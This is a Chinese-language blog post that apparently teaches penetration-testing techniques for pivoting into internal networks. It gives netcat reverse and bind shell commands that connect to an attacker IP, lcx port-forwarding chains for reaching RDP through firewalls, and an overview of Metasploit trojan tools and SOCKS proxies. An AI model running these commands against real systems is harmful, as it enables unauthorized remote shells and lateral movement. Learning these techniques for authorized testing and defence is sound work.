首页 > 其他分享 >渗透测试基础--内网转发

渗透测试基础--内网转发

时间:2024-07-13 23:52:05浏览次数:17  
标签:攻击机 -- 端口 代理 访问 转发 服务器 内网

在渗透测试中,当我们获得了外网服务器(如web服务器,ftp服务器,mali服务器等等)的一定权限后发现这台服务器可以直接或者间接的访问内网。此时渗透测试进入后渗透阶段,一般情况下,内网中的其他机器是不允许外网机器访问的。这时候,我们可以通过 端口转发(隧道) 或将这台外网服务器设置成为 代理,使得我们自己的攻击机可以直接访问与操作内网中的其他机器。实现这一过程的手段就叫做内网转发

目的

渗透测试中,我们往往会面对十分复杂的内网环境,比如最常见的防火墙,它会限制特定端口的数据包出入,此时就需要内网转发

转发情景:

1.A可以访问B的80端口,但是不能访问B的3389端口。
2.A可以访问B,B可以访问C,但是A不可以访问C,需要通过B转发数据,让A和C进行通信。

代理方向

正向代理:正向代理是服务器开放端口,客户端主动访问服务器的端口
反向代理:反向代理是客户端开发端口,服务器连接客户端,反向代理是相对于服务器而言的,当我们请求 www.baidu.com 的时候,背后可能有成千上万台服务器为我们服务,但具体是哪一台,不需要知道,你只需要知道反向代理服务器是谁就好了,www.baidu.com 就是我们的反向代理服务器,反向代理服务器会帮我们把请求转发到真实的服务器那里去

内网转发形式

1.反弹shell:在攻击者机器,获取受害者机器的命令行
2.反弹端口:受害者服务器的某一个端口不能访问,我们通过反弹端口的形式,让攻击者能够访问该端口,也叫端口转发
3.反弹代理:将攻击者的流量转发到内网其他服务器上

反弹shell

1.工具nc使用
条件:能够访问到受害者机器的开放端口
方式:tcp 连接是外网攻击机发起的,连接被控服务器
步骤一:将被控服务器shell反弹到本地的4444端口,并监听4444端口(受害机输入)

nc -lvp 4444 -e cmd.exe      (反弹windows shell)
nc -lvp 4444 -e /bin/bash     (反弹linux shell)

步骤二:攻击机连接被控服务器的4444端口(攻击机输入)

nc -vv 受害机ip 4444

利用nc反弹shell
条件:防火墙开启,不允许访问目标端口(可直接关闭目标机防火墙,权限不够时利用nc反向连接)
方式:tcp连接是被控服务器发起,连接外网攻击机
步骤一:外网服务器监听4444端口
(攻击机输入)

nc -lvp 4444

步骤二:在被控服务器反弹shell到外网服务器的4444端口
(受害机输入)

nc -e cmd.exe 攻击机ip 4444(反弹windows shell)
nc -e /bin/bash 攻击机ip 4444(反弹linux shell)

2.工具msf使用
msfconsole:作用:管理生成exp,管理反弹的shell,通过反弹的shell进行后渗透
模块介绍:exploits:攻击脚本 payloads:攻击载荷(攻击效果控制) auxiliaru:辅助模块(扫描工具等) post:后渗透模块(提取信息) encoders编码模块 nops:无操作生成器
msfvenom
作用:制作木马
msfencode
作用:对木马进行编码

  1. 其他Linux反弹shell方法
    方式:
    利用系统自带的bash和gawk
    利用脚本:python、perl、ruby、lua、php、jsp、aspx
    利用第三方服务或工具:elnet、xterm、socat、nc
反弹端口

条件
1.访问服务器的xxxx端口时,由于一些原因无法访问
原因:1.xxxx端口,防火墙没有开放 2.服务器处于公司内网,对外只发布了80端口 3.xxxx端口只允许内网连接.................
2.服务器处于公司内网,我们没有办法直接访问服务器
3.服务器处于公司内网,且无法与外网服务器直接通信,无法反弹shell

lcx工具使用

Lcx简要使用介绍
三种模式
listen:监听,同时监听两个端口:第一个是服务器开放的,第二个是在本地新开一个用来操作的
tran:转发,将一个端口的流量转发到另一个端口
slave: 将一个外网端口和一个内网端口进行连接
先将lcx上传到目标服务器(有时还需要上传到内网边界机),之后再从以下几种转发方式进行选择

LCX正向端口转发
环境:xxxx端口不对外开放,但是yyyy端口对外开放
作用:
一般对外的服务器,80,8080,53,21等等,xxxx端口没有对外开放,但是有其他端口对外开放,此时可以本地端口转发,转发的端口必须没有被其他服务占用
基本:(防火墙允许xxxx流量通过)
1.被控服务器输入命令将xxxx端口转发到本地(被控服务器)的yyyy端口(本地端口转发)
lcx -tran yyyy 127.0.0.1 xxxx
2.攻击机连接被控服务器的yyyy端口(mstsc远程)
进阶:(防火墙不允许xxxx端口流量通过)
使用reduh来进行转发:
思路:Mstsc客户端–>reDuh 代理–>HTTP tunne–>Web 服务器–>3389

LCX反向端口转发
1.攻击机开启监听
lcx -listen 4444 12345
2.被控服务器输入命令,将端口转发到攻击机
lcx.exe -slave 攻击机IP 端口 被控服务器IP 端口
3. 攻击机连接本地的12345端口(mstsc远程,127.0.0.1:12345)

lcx多级级联反弹内网主机端口
网络配置情况
内网边界机2有两个网卡,一个与攻击机1同网段,一个与目标服务器3同网段(攻击机1的ip:192.168.0.106,内网边界机2的ip:192.168.16.129和10.1.1.1,目标服务器3的ip:10.1.1.2)此时1-2,2-3通,1-3不通
情况一
环境:目标服务器3不能访问外网攻击机1,但是可以访问同网段的内网边界机2,同时目标服务器3的3389端口只能内网边界机2访问
1.攻击机1开启监听
lcx -listen 4444 12345
2.内网边界机2输入命令,将端口转发到攻击机1
lcx.exe -slave 攻击机1IP 端口 目标服务器3IP 端口
3.在攻击机1连接本地12345端口(mstsc远程,127.0.0.1:12345)
情况二
环境:目标服务器3不能访问外网攻击机1,但是可以访问同网段的内网边界机2,同时3389端口只能本地访问,但是8080端口对外开放。
1.目标服务器3输入命令将3389端口转发到本地的8080端口
lcx -tran 8080 127.0.0.1 3389
2.在内网边界机2输入命令,将目标服务器3的8080端口转发到攻击机1
lcx -slave 攻击机1IP 端口 目标服务器3IP 端口
3.在攻击机1上监听端口
lcx –listen 4444 12345
4.外网攻击机1连接本地12345端口(mstsc远程,127.0.0.1:12345)

反弹代理

介绍
内网渗透不光只是反弹一个shell,反弹一个端口,我们更需要对内网进行更深一步的扫描和渗透,这时候就需要设置找到一个代理服务器,充当外网和内网数据转发的节点母的,所以出现了反弹代理,也叫反弹socket,进行反弹代理后,就可以访问目标机的所有端口了,使用工具:ew,支持http,https等代理

Socks代理
全能代理,就像有很多跳线的转接板,它只是简单地将一端的系统连接到另外一端。支持多种协议,包括http、ftp请求及其它类型的请求。它分socks 4 和socks 5两种类型,socks 4只支持TCP协议而socks 5支持TCP/UDP协议,还支持各种身份验证机制等协议。其标准端口为1080。

原理:
socks代理相应的采用socks协议的代理服务器就是SOCKS服务器,是一种通用的代理服务器。Socks是个电路级的底层网关,是DavidKoblas在1990年开发的,此后就一直作为Internet RFC标准的开放标准。Socks不要求应用程序遵循特定的操作系统平台,Socks 代理与应用层代理、 HTTP 层代理不同,Socks代理只是简单地传递数据包,而不必关心是何种应用协议(比如FTP、HTTP和NNTP请求)。所以,Socks代理比其他应用层代理要快得多。它通常绑定在代理服务器的1080端口上。如果您在企业网或校园网上,需要透过防火墙或通过代理服务器访问Internet就可能需要使用SOCKS。一般情况下,对于拨号上网用户都不需要使用它。注意,浏览网页时常用的代理服务器通常是专门的http代理,它和SOCKS是不同的。因此,能浏览网页不等于您一定可以通过SOCKS访问Internet。 常用的防火墙,或代理软件都支持SOCKS,但需要其管理员打开这一功能。如果不确信是否需要SOCKS或是否有SOCKS可用,请与您的网络管理员联系。为了使用socks,需要了解一下内容:
① SOCKS服务器的IP地址
② SOCKS服务所在的端口
③ 这个SOCKS服务是否需要用户认证?如果需要,要向你的网络管理员申请一个用户和口令
知道了上述信息,就可以把这些信息填入“网络配置”中,或者在第一次登记时填入,就可以使用socks代理了。

实际应用:
在实际应用中SOCKS代理可以用作为:电子邮件、新闻组软件、网络传呼ICQ、网络聊天MIRC和使用代理服务器打游戏等等各种应用软件当中。

标签:攻击机,--,端口,代理,访问,转发,服务器,内网
From: https://www.cnblogs.com/m0userathxy/p/18294910

相关文章

  • flutter pub get 的时候:A dependency specification must be a string or a mapping.
    想在pubspec.yaml文件中添加字体:报错了fonts:-family:MiaoZifonts:-asset:assets/fonts/MiaoZi-YunYingTi-2.ttfweight:500看了这篇文章解决了我原来是加在dependencies:flutter:sdk:flutter#新添加的依赖fonts:......
  • Vue 3 后端错误消息处理范例
    1.错误消息格式前后端消息传递时,我们可以通过json的errors字段传递错误信息,一个比较好的格式范例为:{errors:{global:["网络错误"],password:["至少需要一个大写字母","至少需要八位字符"]}}errors中,字段名代表出错位置(如果是输入框的话,对应错误要......
  • 注解
    注解注解的生命周期有3种策略,定义在RetentionPolicy枚举中1)SOURCE:在源文件中有效,被编译器丢弃。2)CLASS:在编译器生成的字节码文件中有效,但在运行时会被处理类文件的JVM丢弃。3)RUNTIME:在运行时有效。这也是注解生命周期中最常用的一种策略,它允许程序通过反射的方式访问......
  • 用户故事如何表达需求
    用户故事通常以一种简洁、具体且从用户角度出发的方式来表达需求。1. 以“作为一个[用户类型],我想要[具体的需求],以便[实现的目标或获得的价值]”的句式来描述。2. 强调用户的角色和场景:清晰地说明用户是谁,以及在什么情况下会产生这样的需求。3. 聚焦具体的行动和功能:明确用......
  • scrum最佳实践
    1. 明确且专注的产品愿景:产品负责人应清晰定义产品的长期愿景和目标,以便为每个Sprint提供明确的方向。2. 精心维护产品待办事项列表:产品待办事项列表要详细、准确且按优先级排序,反映出业务价值和客户需求。3. 合适的Sprint长度:根据项目特点和团队能力,选择合适的Sprint......
  • OpenDiary 24.7
    现在是,7月13日。距离上一次写日记过去了58天致敬传奇耐拖王xiwon那么,在鼠鼠肘赢牢大之前的这段时间,whathappened,onearth?五月下旬,前去了西安邀请赛,打的一坨。回来之后写了一点游记,但是居然还没有写完那么到底为什么没有写完呢?这要从很久以前开始说众所周知(?),距......
  • 敏捷和scrum
    敏捷(Agile)是一种项目管理和软件开发的理念和方法,强调适应变化、快速交付价值、持续改进和团队协作。Scrum是实现敏捷开发的一种框架。它将开发工作划分为短周期的迭代(称为“Sprint”),通常为1-4周。Scrum中的主要角色包括产品负责人(ProductOwner),负责确定产品的愿景和需求优......
  • TreeMap
    TreeMap由红黑树实现,可以保持元素的自然顺序,或者实现了Comparator接口的自定义顺序红黑树(英语:Red–blacktree)是一种自平衡的二叉查找树(BinarySearchTree),结构复杂,但却有着良好的性能,完成查找、插入和删除的时间复杂度均为log(n)。自然顺序默认情况下,TreeMap是根据ke......
  • 进程异常退出分析小计
    一、内存泄漏内存泄漏是进程运行一段时间后退出,并且看到内存特别大,基本上大几百M或者超过1G,dump异常堆栈都是在申请内存的时候崩溃,下面看下如何定位分析泄漏原因1.1使用!heap-s看下总体内存大小1.2使用!heap-stat-h命令查看具体堆使用情况1.3......
  • 我用cpca 截取地址中的省市区,突然就乱了,这是什么原因
    大家好,我是Python进阶者。一、前言前几天在Python钻石交流群【逆光】问了一个Python数据处理的问题,问题如下:请问一下我用cpca截取地址中的省市区,突然就乱了,这是什么原因?二、实现过程这里【瑜亮老师】给了个思路如下:看着好像是行弄乱了。【不上班能干啥!】:是不是做了merge?【......